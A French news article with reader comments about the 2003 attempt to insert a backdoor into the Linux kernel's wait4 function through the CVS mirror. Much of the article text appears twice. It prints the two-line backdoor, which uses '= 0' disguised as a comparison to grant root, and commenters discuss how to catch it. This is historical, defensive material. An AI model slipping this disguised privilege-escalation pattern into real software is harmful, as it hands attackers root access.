Linux : il y aurait eu une tentative d'intégration d'un backdoor dans le noyau en 2003
Révélation sur le code injecté
Le 2013-10-10 12:09:56, par Hinault Romaric, Responsable .NET
Il y aurait eu une tentative d’introduction d’une porte dérobée (backdoor) dans le noyau Linux. Ed Felten, professeur d’informatique à l’université de Princeton, revient dans un billet de blog sur l’incident.
Retour en 2003. Les développeurs de Linux utilisaient le logiciel BitKeeper pour stocker la copie maitre du code source du kernel. Si un développeur voulait proposer une modification du code Linux, il devait soumettre ses changements, qui devaient passer un processus d’approbation pour décider si le code proposé pouvait être accepté dans le code maitre.
Cependant, beaucoup de développeurs n’aimaient pas BitKeeper (parce que c’était un logiciel fermé de contrôle de code source, qui a été remplacé plus tard par Git). Une seconde copie du code source de Linux était maintenue dans un CVS pour ceux-ci. La copie CVS était un clone direct de la copie BitKeeper primaire.
En novembre 2003, Larry McVoy, un administrateur Linux, avait remarqué un changement dans le code de la copie CVS, qui n’avait pas de référence vers un dossier d’approbation. L’enquête des développeurs a révélé que le changement n’avait jamais été approuvé, était inconnu et ne provenait pas du code primaire de BitKeeper.
En menant une enquête plus approfondie, il s’est avéré que quelqu’un avait créé un dysfonctionnement sur le serveur CVS et avait inséré ce changement. « Qu’est-ce que ce changement fait ? C’est là que ça devient intéressant », écrit Felten, qui note que le changement avait modifié la fonction « wait4 » du kernel. Concrètement, le code inséré était le suivant :
Une lecture superficielle de ce code peut donner l’impression d’un code sans problème. D’après Felten, un développeur averti devrait remarquer qu’au lieu d’utiliser l’opérateur de comparaison « == », l’opérateur d’affectation a plutôt été utilisé « = » (current->uid = 0). Le « 0 » représentant l’utilisateur root, ce code attribuerait donc les privilèges d’administrateur à « current->uid ». « En d’autres termes, il s’agit d’une porte dérobée classique », conclut Ed Felten.
« C’est un morceau de code intéressant. Il ressemble à une vérification inoffensive d’erreurs, mais c’est vraiment un backdoor. Il a été glissé dans le code en dehors du processus normal d’approbation, afin d’éviter sa détection », écrit Felten, qui ajoute : « mais la tentative n’a pas fonctionné, parce que l’équipe Linux est assez prudente et a noté que le code était dans le CVS sans approbation. Un point pour Linux ».
S’agit-il d’une tentative de la NSA ? Peut-être que oui, peut-être que non. L’auteur n’avait pas été identifié.
Source : billet d'Ed Felten
Et vous ?
Qu'en pensez-vous ?
Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?
Retour en 2003. Les développeurs de Linux utilisaient le logiciel BitKeeper pour stocker la copie maitre du code source du kernel. Si un développeur voulait proposer une modification du code Linux, il devait soumettre ses changements, qui devaient passer un processus d’approbation pour décider si le code proposé pouvait être accepté dans le code maitre.
Cependant, beaucoup de développeurs n’aimaient pas BitKeeper (parce que c’était un logiciel fermé de contrôle de code source, qui a été remplacé plus tard par Git). Une seconde copie du code source de Linux était maintenue dans un CVS pour ceux-ci. La copie CVS était un clone direct de la copie BitKeeper primaire.
En novembre 2003, Larry McVoy, un administrateur Linux, avait remarqué un changement dans le code de la copie CVS, qui n’avait pas de référence vers un dossier d’approbation. L’enquête des développeurs a révélé que le changement n’avait jamais été approuvé, était inconnu et ne provenait pas du code primaire de BitKeeper.
En menant une enquête plus approfondie, il s’est avéré que quelqu’un avait créé un dysfonctionnement sur le serveur CVS et avait inséré ce changement. « Qu’est-ce que ce changement fait ? C’est là que ça devient intéressant », écrit Felten, qui note que le changement avait modifié la fonction « wait4 » du kernel. Concrètement, le code inséré était le suivant :
Code C : |
1 2 3 | if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; |
Une lecture superficielle de ce code peut donner l’impression d’un code sans problème. D’après Felten, un développeur averti devrait remarquer qu’au lieu d’utiliser l’opérateur de comparaison « == », l’opérateur d’affectation a plutôt été utilisé « = » (current->uid = 0). Le « 0 » représentant l’utilisateur root, ce code attribuerait donc les privilèges d’administrateur à « current->uid ». « En d’autres termes, il s’agit d’une porte dérobée classique », conclut Ed Felten.
« C’est un morceau de code intéressant. Il ressemble à une vérification inoffensive d’erreurs, mais c’est vraiment un backdoor. Il a été glissé dans le code en dehors du processus normal d’approbation, afin d’éviter sa détection », écrit Felten, qui ajoute : « mais la tentative n’a pas fonctionné, parce que l’équipe Linux est assez prudente et a noté que le code était dans le CVS sans approbation. Un point pour Linux ».
S’agit-il d’une tentative de la NSA ? Peut-être que oui, peut-être que non. L’auteur n’avait pas été identifié.
Source : billet d'Ed Felten
Et vous ?
-
Traroth2Membre émériteL'idée de code malicieux, c'est que c'est volontaire, justement.
Un projet comme Linux est découpé en modules qui sont pris en charge par des équipes différentes. Il n'y a pas une grosse équipe qui gère tout. Et le code lui-même est relu par des gens du monde entier qui ne sont pas directement impliqués dans processus de développement. Il faut se rendre compte que de nos jours, Linux est utilisé et adapté aux besoins, donc relu, par des organisations aussi diverses que Google, Free, Microsoft, la gendarmerie nationale française, le gouvernement chinois ou la Nasa. S'il y avait une backdoor, je pense que ça se remarquerait en quelques jours.le 10/10/2013 à 14:09 -
SquisquiEn attente de confirmation mailNop, pour gcc, les parenthèses servent à appuyer la volonté de faire une affectation. Il n'y a donc pas de warning dans ce cas précis. L'affectation dans une boucle est assez courante en C (un peu moins dans une condition).
C'est ce qui rend le code très discret. Le seul moyen de le repérer est de mettre en évidence les différences entre deux révisions ou de le relire à la main.le 10/10/2013 à 14:43 -
Traroth2Membre émériteC'est une faille, alors, pas du code malicieux. Malicieux, ça veut dire pas sympa, dans le contexte...le 10/10/2013 à 15:12
-
TNT89Membre confirméOu de renverser les égalités en constante == variable, puisque dans ce cas, le compilateur reportera forcément une erreur.le 10/10/2013 à 16:59
-
transgohanExpert éminentle 16/10/2013 à 20:18
-
grim7reaperMembre éclairéC’était pas une backdoor ça…
Ça a été provoqué par un problème de communication entre les dev’ d’OpenSSL et le mainteneur de Debian.
Torts partagés cependant, les dev’ d’OpenSSL n’ont apparemment pas répondu aux questions du mainteneur, et le mainteneur a pris la responsabilité de modifier un code (relativement critique en plus) qu’il ne comprenait pas.le 10/10/2013 à 18:50 -
abriotdeMembre chevronnéBonjour,
Cela prouve que c'est potentiellement possible d'insérer discrètement du code dans le noyau même si c'est tout de même pas a la portée de n'importe qui.
Mais chose plus grave, ce code ne permet a priori que de passer root, pas de se connecter sur la machine. Comment l'auteur de se code (la NSA?) comptait t'il s'authentifier sur la machine? Un logiciel installé et vérolé (plus facile a corrompre) ou un autre bout de code malicieux passé par le système standard de validation ou non?le 10/10/2013 à 13:55 -
akrogamesMembre actifPourquoi developpez.com ressort une news vieille de 10 ans ? Vous êtes en manque de news croustillante ou quoi ?
Enfin bref, pas terrible comme "pas news" vu qu'on le savait déjà.le 11/10/2013 à 11:07 -
transgohanExpert éminentle 19/10/2013 à 15:40
-
Traroth2Membre émériteUne modification discrète grâce à une intrusion sur le serveur de versioning, un ajout des plus brefs, une petite subtilité pour que ça passe encore un peu plus inaperçu... Une tentative plutôt bien organisée, en fait.
D'une certaine manière, ça place la création de Git et le remplacement de Bitkeeper et CVS sous une lumière différente, cette histoire...
Cela dit, est-ce que ça veut dire que les intrus ont aussi remplacé le hash MD5 qui sert à vérifier l'authenticité du source ? Ou est-ce que ça ne se faisait pas encore en 2003 ? Ca serait surprenant, quand même, ça fait longtemps qu'on voit ça sur les repos de projets open-source et libres.le 10/10/2013 à 13:57